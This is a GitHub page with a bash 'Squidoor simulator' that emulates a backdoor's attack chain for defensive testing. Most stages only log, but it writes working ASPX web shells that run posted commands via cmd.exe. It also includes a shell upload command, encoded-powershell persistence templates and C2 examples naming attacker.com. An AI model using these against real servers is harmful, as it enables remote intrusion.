-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathsquidoor_simulator.sh
More file actions
1165 lines (991 loc) · 32.9 KB
/
Copy pathsquidoor_simulator.sh
File metadata and controls
1165 lines (991 loc) · 32.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# Squidoor Simulator - Advanced Adversary Behavior Simulation
# Based on Unit 42's analysis of the Squidoor backdoor
# Author: David Maynor (dmaynor@gmail.com)
# Version: 1.0
# Configuration
CONFIG_FILE="config.yaml"
LOG_FILE="squidoor.log"
TEMP_DIR="/tmp/squidoor"
VERSION="1.0"
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'
# Rate limiting and timeout controls
RATE_LIMIT=10 # requests per second
TIMEOUT=30 # seconds
MAX_RETRIES=3 # maximum number of retries
# Progress tracking
PROGRESS_FILE="$TEMP_DIR/progress.json"
TOTAL_STEPS=8
# Add DRY_RUN flag
DRY_RUN=false
# Add EVASION flag
EVASION=false
# Logging function
log() {
local level=$1
local message=$2
local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
echo -e "${timestamp} [${level}] ${message}" | tee -a "$LOG_FILE"
}
# Error handling
set -e
trap 'log "ERROR" "An error occurred on line $LINENO. Exit code: $?"' ERR
# Check dependencies
check_dependencies() {
log "INFO" "Checking dependencies..."
local deps=("dnscat2" "icmpsh" "impacket" "metasploit-framework" "yq")
local missing_deps=()
for dep in "${deps[@]}"; do
if ! command -v "$dep" &> /dev/null; then
missing_deps+=("$dep")
fi
done
if [ ${#missing_deps[@]} -ne 0 ]; then
log "WARNING" "Missing dependencies: ${missing_deps[*]}"
read -p "Would you like to install missing dependencies? (y/n) " -n 1 -r
echo
if [[ $REPLY =~ ^[Yy]$ ]]; then
install_dependencies "${missing_deps[@]}"
else
log "ERROR" "Missing dependencies. Please install them manually."
exit 1
fi
fi
}
# Install dependencies
install_dependencies() {
log "INFO" "Installing dependencies..."
for dep in "$@"; do
case "$dep" in
"dnscat2")
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
gem install bundler
bundle install
;;
"icmpsh")
git clone https://github.com/inquisb/icmpsh.git
;;
"impacket")
pip3 install impacket
;;
"metasploit-framework")
if [[ "$OSTYPE" == "darwin"* ]]; then
brew install metasploit
else
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall
fi
;;
"yq")
if [[ "$OSTYPE" == "darwin"* ]]; then
brew install yq
else
sudo wget -qO /usr/local/bin/yq https://github.com/mikefarah/yq/releases/latest/download/yq_linux_amd64
sudo chmod a+x /usr/local/bin/yq
fi
;;
esac
done
}
# Input validation and sanitization
validate_input() {
local input=$1
local type=$2
case "$type" in
"ip")
if ! [[ $input =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
log "ERROR" "Invalid IP address format: $input"
return 1
fi
;;
"domain")
if ! [[ $input =~ ^[a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9](?:\.[a-zA-Z]{2,})+$ ]]; then
log "ERROR" "Invalid domain format: $input"
return 1
fi
;;
"port")
if ! [[ $input =~ ^[0-9]+$ ]] || [ "$input" -lt 1 ] || [ "$input" -gt 65535 ]; then
log "ERROR" "Invalid port number: $input"
return 1
fi
;;
"protocol")
if ! [[ $input =~ ^(outlook|dns|icmp)$ ]]; then
log "ERROR" "Invalid protocol: $input"
return 1
fi
;;
*)
log "ERROR" "Unknown validation type: $type"
return 1
;;
esac
return 0
}
# Parse command line arguments
parse_args() {
local target=""
local c2_server=""
local protocol=""
local port="80" # Default port
while [[ $# -gt 0 ]]; do
case $1 in
-t|--target)
target="$2"
if ! validate_input "$target" "ip" && ! validate_input "$target" "domain"; then
log "ERROR" "Invalid target format"
exit 1
fi
shift 2
;;
-c|--c2-server)
c2_server="$2"
if ! validate_input "$c2_server" "domain"; then
log "ERROR" "Invalid C2 server format"
exit 1
fi
shift 2
;;
-p|--protocol)
protocol="$2"
if ! validate_input "$protocol" "protocol"; then
log "ERROR" "Invalid protocol"
exit 1
fi
shift 2
;;
--port)
port="$2"
if ! validate_input "$port" "port"; then
log "ERROR" "Invalid port number"
exit 1
fi
shift 2
;;
--evasion)
EVASION=true
shift
;;
--dry-run)
DRY_RUN=true
shift
;;
-h|--help)
show_help
exit 0
;;
*)
log "ERROR" "Unknown option: $1"
show_help
exit 1
;;
esac
done
if [ -z "$target" ] || [ -z "$c2_server" ] || [ -z "$protocol" ]; then
log "ERROR" "Missing required arguments"
show_help
exit 1
fi
}
# Show help message
show_help() {
echo "Usage: $0 [OPTIONS]"
echo
echo "Options:"
echo " -t, --target Target IP address or hostname"
echo " -c, --c2-server Command and Control server address"
echo " -p, --protocol C2 protocol (outlook|dns|icmp)"
echo " --port Target port (default: 80)"
echo " --evasion Enable evasion techniques (default: disabled)"
echo " --dry-run Show all steps without execution"
echo " -h, --help Show this help message"
echo
echo "Example:"
echo " $0 -t 192.168.1.100 -c attacker.com -p outlook"
echo " $0 -t 192.168.1.100 -c attacker.com -p outlook --evasion"
echo " $0 -t 192.168.1.100 -c attacker.com -p outlook --dry-run"
}
# Validate configuration file
validate_config() {
local config_file=$1
log "INFO" "Validating configuration file..."
# Check if yq is installed
if ! command -v yq &> /dev/null; then
log "ERROR" "yq is required for configuration validation"
return 1
fi
# Validate required fields
local required_fields=(
"target.ip"
"target.port"
"target.protocol"
"c2.server"
"c2.protocols"
"webshell.names"
"persistence.registry"
"persistence.scheduled_tasks"
"persistence.wmi"
"evasion.amsi_bypass"
"evasion.obfuscation"
"evasion.encryption"
)
for field in "${required_fields[@]}"; do
if ! yq eval ".$field" "$config_file" &> /dev/null; then
log "ERROR" "Missing required configuration field: $field"
return 1
fi
done
# Validate protocol values
local protocols=$(yq eval '.c2.protocols[]' "$config_file")
for protocol in $protocols; do
if ! validate_input "$protocol" "protocol"; then
log "ERROR" "Invalid protocol in configuration: $protocol"
return 1
fi
done
# Validate port number
local port=$(yq eval '.target.port' "$config_file")
if ! validate_input "$port" "port"; then
log "ERROR" "Invalid port number in configuration: $port"
return 1
fi
log "INFO" "Configuration validation successful"
return 0
}
# Initialize the simulator
init() {
log "INFO" "Initializing Squidoor Simulator v${VERSION}"
# Create temporary directory
mkdir -p "$TEMP_DIR"
# Check for configuration file
if [ ! -f "$CONFIG_FILE" ]; then
log "WARNING" "Configuration file not found. Creating default config..."
create_default_config
fi
# Validate configuration
if ! validate_config "$CONFIG_FILE"; then
log "ERROR" "Configuration validation failed"
exit 1
fi
# Check dependencies
check_dependencies
}
# Create default configuration file
create_default_config() {
cat > "$CONFIG_FILE" << EOF
# Squidoor Simulator Configuration
version: "1.0"
# Target configuration
target:
ip: ""
port: 80
protocol: "http"
# C2 configuration
c2:
server: ""
protocols:
- outlook
- dns
- icmp
encryption:
algorithm: "aes-256-gcm"
key_size: 256
# Web shell configuration
webshell:
names:
- OutlookDC.aspx
- Error.aspx
- TimeoutAPI.aspx
obfuscation: true
# Persistence configuration
persistence:
registry: true
scheduled_tasks: true
wmi: true
# Evasion configuration
evasion:
amsi_bypass: true
obfuscation: true
encryption: true
EOF
}
# Rate limiting function
rate_limit() {
local current_time=$(date +%s)
local last_request=${1:-0}
local delay=$((1 / RATE_LIMIT))
if [ $((current_time - last_request)) -lt $delay ]; then
sleep $delay
fi
}
# Timeout function
with_timeout() {
local timeout=$1
local command="$2"
local output
local status
output=$(timeout "$timeout" bash -c "$command" 2>&1)
status=$?
if [ $status -eq 124 ]; then
log "ERROR" "Command timed out after ${timeout}s: $command"
return 1
fi
echo "$output"
return $status
}
# Retry function
retry() {
local max_retries=$1
local command="$2"
local retry_count=0
local status
while [ $retry_count -lt $max_retries ]; do
if output=$(with_timeout "$TIMEOUT" "$command"); then
echo "$output"
return 0
fi
retry_count=$((retry_count + 1))
if [ $retry_count -lt $max_retries ]; then
log "WARNING" "Command failed, retrying ($retry_count/$max_retries): $command"
sleep 2
fi
done
log "ERROR" "Command failed after $max_retries attempts: $command"
return 1
}
# Update validate_target function
validate_target() {
local target=$1
local port=$2
log "INFO" "Validating target $target:$port"
# Check if target is reachable with timeout
if ! retry "$MAX_RETRIES" "ping -c 1 $target"; then
log "ERROR" "Target $target is not reachable"
exit 1
fi
# Check if port is open with timeout
if ! retry "$MAX_RETRIES" "nc -z -w1 $target $port"; then
log "ERROR" "Port $port is not open on target $target"
exit 1
fi
}
# Update exploit_iis function
exploit_iis() {
local target=$1
local port=$2
local last_request=0
log "INFO" "Attempting to exploit IIS vulnerabilities on $target:$port"
# Check for common IIS vulnerabilities
local vulns=(
"CVE-2021-31166" # HTTP Protocol Stack Remote Code Execution
"CVE-2021-34473" # Exchange Server Remote Code Execution
"CVE-2021-34523" # Exchange Server Remote Code Execution
)
for vuln in "${vulns[@]}"; do
rate_limit $last_request
log "INFO" "Checking for $vuln..."
last_request=$(date +%s)
# Implement vulnerability checks with timeout
if ! retry "$MAX_RETRIES" "curl -s -m $TIMEOUT http://$target:$port/"; then
log "WARNING" "Failed to check vulnerability $vuln"
fi
done
}
# Web shell deployment
deploy_webshell() {
local target=$1
local port=$2
local webshell_dir=$3
log "INFO" "Deploying web shells to $target:$port"
# Create web shells
for shell in "OutlookDC.aspx" "Error.aspx" "TimeoutAPI.aspx"; do
local shell_path="$webshell_dir/$shell"
log "INFO" "Creating web shell: $shell"
if [ "$EVASION" = true ]; then
# Generate obfuscated ASPX shell
cat > "$shell_path" << EOF
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Text" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
try {
string cmd = Request.Form["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + cmd;
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
string output = p.StandardOutput.ReadToEnd();
p.WaitForExit();
Response.Write(output);
}
} catch (Exception ex) {
Response.Write("Error: " + ex.Message);
}
}
</script>
EOF
else
# Generate plaintext ASPX shell
cat > "$shell_path" << EOF
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
string cmd = Request.Form["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
p.WaitForExit();
}
}
</script>
EOF
fi
# Upload web shell to target
log "INFO" "Uploading $shell to target..."
# Implement upload logic here
# This is a simulation, so we'll just log the attempt
done
}
# Command and Control functions
setup_outlook_c2() {
local target=$1
local c2_server=$2
log "INFO" "Setting up Outlook C2 channel..."
if [ "$EVASION" = true ]; then
# Generate Outlook API credentials with encryption
local client_id=$(openssl rand -hex 16)
local client_secret=$(openssl rand -hex 32)
# Configure Outlook API access with encryption
log "INFO" "Configuring Outlook API access with client ID: $client_id"
else
# Use plaintext credentials
local client_id="plaintext_client_id"
local client_secret="plaintext_client_secret"
# Configure Outlook API access without encryption
log "INFO" "Configuring Outlook API access with plaintext credentials"
fi
# Implement Outlook API setup
# This is a simulation, so we'll just log the attempt
}
setup_dns_tunnel() {
local target=$1
local c2_server=$2
log "INFO" "Setting up DNS tunneling..."
if [ "$EVASION" = true ]; then
# Configure dnscat2 with encryption
log "INFO" "Configuring dnscat2 for encrypted DNS tunneling"
else
# Configure dnscat2 without encryption
log "INFO" "Configuring dnscat2 for plaintext DNS tunneling"
fi
# Start DNS tunnel
log "INFO" "Starting DNS tunnel..."
# Implement DNS tunneling setup
# This is a simulation, so we'll just log the attempt
}
setup_icmp_tunnel() {
local target=$1
local c2_server=$2
log "INFO" "Setting up ICMP tunneling..."
if [ "$EVASION" = true ]; then
# Configure icmpsh with encryption
log "INFO" "Configuring icmpsh for encrypted ICMP tunneling"
else
# Configure icmpsh without encryption
log "INFO" "Configuring icmpsh for plaintext ICMP tunneling"
fi
# Start ICMP tunnel
log "INFO" "Starting ICMP tunnel..."
# Implement ICMP tunneling setup
# This is a simulation, so we'll just log the attempt
}
# Persistence functions
setup_registry_persistence() {
local target=$1
log "INFO" "Setting up registry persistence..."
# Registry keys to modify
local reg_keys=(
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
)
for key in "${reg_keys[@]}"; do
log "INFO" "Adding persistence entry to $key"
# Implement registry modification
# This is a simulation, so we'll just log the attempt
done
}
setup_scheduled_task() {
local target=$1
log "INFO" "Setting up scheduled task persistence..."
# Create scheduled task
local task_name="WindowsUpdate"
local task_command="cmd.exe /c powershell -enc $(base64 -w0 <<< 'Start-Process cmd.exe -ArgumentList "/c powershell -enc [encoded_payload]"')"
log "INFO" "Creating scheduled task: $task_name"
# Implement scheduled task creation
# This is a simulation, so we'll just log the attempt
}
setup_wmi_persistence() {
local target=$1
log "INFO" "Setting up WMI event subscription persistence..."
# WMI event subscription details
local event_name="WindowsUpdate"
local event_filter="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
local event_consumer="cmd.exe /c powershell -enc [encoded_payload]"
log "INFO" "Creating WMI event subscription: $event_name"
# Implement WMI event subscription
# This is a simulation, so we'll just log the attempt
}
# Evasion functions
bypass_amsi() {
local target=$1
log "INFO" "Implementing AMSI bypass..."
# AMSI bypass techniques
local bypass_methods=(
"Patching amsi.dll"
"Hooking AMSI functions"
"Memory patching"
)
for method in "${bypass_methods[@]}"; do
log "INFO" "Attempting AMSI bypass using: $method"
# Implement AMSI bypass
# This is a simulation, so we'll just log the attempt
done
}
obfuscate_payload() {
local payload=$1
local output_file=$2
log "INFO" "Obfuscating payload..."
# Obfuscation techniques
local obfuscation_methods=(
"Base64 encoding"
"XOR encryption"
"String splitting"
"Junk code insertion"
)
for method in "${obfuscation_methods[@]}"; do
log "INFO" "Applying obfuscation: $method"
# Implement payload obfuscation
# This is a simulation, so we'll just log the attempt
done
# Save obfuscated payload
echo "$payload" > "$output_file"
}
encrypt_communication() {
local target=$1
local c2_server=$2
log "INFO" "Setting up encrypted communication..."
# Generate encryption key
local key=$(openssl rand -hex 32)
local iv=$(openssl rand -hex 16)
log "INFO" "Generated encryption key and IV"
# Configure encryption
local encryption_config=(
"Algorithm: AES-256-GCM"
"Key size: 256 bits"
"IV size: 128 bits"
"Authentication: Enabled"
)
for config in "${encryption_config[@]}"; do
log "INFO" "Applying encryption configuration: $config"
# Implement encryption setup
# This is a simulation, so we'll just log the attempt
done
}
# Cleanup functions
cleanup() {
log "INFO" "Performing cleanup..."
# Remove temporary files
if [ -d "$TEMP_DIR" ]; then
rm -rf "$TEMP_DIR"
log "INFO" "Removed temporary directory: $TEMP_DIR"
fi
# Stop any running processes
local processes=("dnscat2" "icmpsh" "metasploit")
for proc in "${processes[@]}"; do
if pgrep -x "$proc" > /dev/null; then
pkill -x "$proc"
log "INFO" "Stopped process: $proc"
fi
done
}
# Error handling
handle_error() {
local line_no=$1
local error_code=$2
log "ERROR" "An error occurred on line $line_no. Exit code: $error_code"
cleanup
exit "$error_code"
}
# Version check
check_version() {
local required_version="5.0"
local bash_version=$(bash --version | head -n1 | cut -d' ' -f4)
if [ "$(printf '%s\n' "$required_version" "$bash_version" | sort -V | head -n1)" != "$required_version" ]; then
log "ERROR" "Bash version $required_version or higher is required. Current version: $bash_version"
exit 1
fi
}
# Check for root privileges
check_root() {
if [ "$EUID" -ne 0 ]; then
log "WARNING" "This script requires root privileges for some operations"
log "WARNING" "Some features may not work without root access"
fi
}
# Generate report
generate_report() {
local target=$1
local start_time=$2
local end_time=$3
local report_file="squidoor_report_$(date +%Y%m%d_%H%M%S).txt"
log "INFO" "Generating simulation report..."
cat > "$report_file" << EOF
Squidoor Simulation Report
=========================
Target: $target
Start Time: $start_time
End Time: $end_time
Duration: $(($end_time - $start_time)) seconds
Configuration:
-------------
Protocol: $protocol
C2 Server: $c2_server
Web Shells Deployed: $(ls -1 "$TEMP_DIR/webshells" 2>/dev/null | wc -l)
Actions Performed:
----------------
1. Initial Access
- IIS Vulnerability Checks
- Web Shell Deployment
2. Command and Control
- $protocol Channel Setup
- Encryption Configuration
3. Persistence
- Registry Modifications
- Scheduled Task Creation
- WMI Event Subscription
4. Evasion
- AMSI Bypass Attempts
- Payload Obfuscation
- Communication Encryption
Log File: $LOG_FILE
EOF
log "INFO" "Report generated: $report_file"
}
# Initialize progress tracking
init_progress() {
cat > "$PROGRESS_FILE" << EOF
{
"current_step": 0,
"total_steps": $TOTAL_STEPS,
"steps": {
"init": {"status": "pending", "start_time": null, "end_time": null},
"target_validation": {"status": "pending", "start_time": null, "end_time": null},
"iis_exploit": {"status": "pending", "start_time": null, "end_time": null},
"webshell_deploy": {"status": "pending", "start_time": null, "end_time": null},
"c2_setup": {"status": "pending", "start_time": null, "end_time": null},
"persistence": {"status": "pending", "start_time": null, "end_time": null},
"evasion": {"status": "pending", "start_time": null, "end_time": null},
"cleanup": {"status": "pending", "start_time": null, "end_time": null}
}
}
EOF
}
# Update progress
update_progress() {
local step=$1
local status=$2
local timestamp=$(date +%s)
if [ "$status" = "start" ]; then
yq eval ".steps.$step.start_time = $timestamp" -i "$PROGRESS_FILE"
yq eval ".steps.$step.status = \"in_progress\"" -i "$PROGRESS_FILE"
elif [ "$status" = "complete" ]; then
yq eval ".steps.$step.end_time = $timestamp" -i "$PROGRESS_FILE"
yq eval ".steps.$step.status = \"completed\"" -i "$PROGRESS_FILE"
elif [ "$status" = "failed" ]; then
yq eval ".steps.$step.end_time = $timestamp" -i "$PROGRESS_FILE"
yq eval ".steps.$step.status = \"failed\"" -i "$PROGRESS_FILE"
fi
# Update current step
local current_step=$(yq eval '.current_step' "$PROGRESS_FILE")
yq eval ".current_step = $((current_step + 1))" -i "$PROGRESS_FILE"
# Display progress
display_progress
}
# Display progress
display_progress() {
local current_step=$(yq eval '.current_step' "$PROGRESS_FILE")
local total_steps=$(yq eval '.total_steps' "$PROGRESS_FILE")
local percentage=$((current_step * 100 / total_steps))
echo -e "\nProgress: $percentage%"
echo "Current Step: $current_step/$total_steps"
# Display step status
for step in $(yq eval '.steps | keys | .[]' "$PROGRESS_FILE"); do
local status=$(yq eval ".steps.$step.status" "$PROGRESS_FILE")
local start_time=$(yq eval ".steps.$step.start_time" "$PROGRESS_FILE")
local end_time=$(yq eval ".steps.$step.end_time" "$PROGRESS_FILE")
case "$status" in
"completed")
echo -e "${GREEN}✓ $step${NC}"
;;
"in_progress")
echo -e "${YELLOW}⟳ $step${NC}"
;;
"failed")
echo -e "${RED}✗ $step${NC}"
;;
*)
echo -e "${BLUE}○ $step${NC}"
;;
esac
done
echo
}
# Add dry run functions
dry_run_exploit_iis() {
local target=$1
local port=$2
echo -e "\n${BLUE}=== Dry Run: IIS Exploitation ===${NC}"
echo "Target: $target:$port"
echo "Vulnerabilities to check:"
for vuln in "CVE-2021-31166" "CVE-2021-34473" "CVE-2021-34523"; do
echo " - $vuln"
done
echo "Commands that would be executed:"
echo " curl -s -m $TIMEOUT http://$target:$port/"
echo " curl -s -m $TIMEOUT https://$target:$port/"
echo
}
dry_run_deploy_webshell() {
local target=$1
local port=$2
local webshell_dir=$3
echo -e "\n${BLUE}=== Dry Run: Web Shell Deployment ===${NC}"
echo "Target: $target:$port"
echo "Web Shell Directory: $webshell_dir"
echo "Web Shells to be created:"
for shell in "OutlookDC.aspx" "Error.aspx" "TimeoutAPI.aspx"; do
echo -e "\n${YELLOW}Web Shell: $shell${NC}"
echo "Content to be generated:"
echo "----------------------------------------"
cat << EOF
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Text" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e) {
try {
string cmd = Request.Form["cmd"];
if (!string.IsNullOrEmpty(cmd)) {
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + cmd;
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
string output = p.StandardOutput.ReadToEnd();
p.WaitForExit();
Response.Write(output);
}
} catch (Exception ex) {
Response.Write("Error: " + ex.Message);
}
}
</script>
EOF
echo "----------------------------------------"
echo "Upload command that would be executed:"
echo " curl -X POST -F \"file=@$webshell_dir/$shell\" http://$target:$port/upload.aspx"
done
echo
}
dry_run_c2_setup() {
local target=$1
local c2_server=$2
local protocol=$3
echo -e "\n${BLUE}=== Dry Run: C2 Setup ===${NC}"
echo "Target: $target"
echo "C2 Server: $c2_server"
echo "Protocol: $protocol"
case "$protocol" in
"outlook")
echo "Outlook API Configuration:"
echo " - Client ID: $(openssl rand -hex 16)"
echo " - Client Secret: $(openssl rand -hex 32)"
echo " - Redirect URI: https://$c2_server/callback"
;;
"dns")
echo "DNS Tunneling Configuration:"
echo " - Domain: $c2_server"
echo " - Subdomain: tunnel.$c2_server"
echo " - DNS Server: 8.8.8.8"
;;
"icmp")
echo "ICMP Tunneling Configuration:"
echo " - Source: $target"
echo " - Destination: $c2_server"
echo " - Payload Size: 32 bytes"
;;
esac
echo
}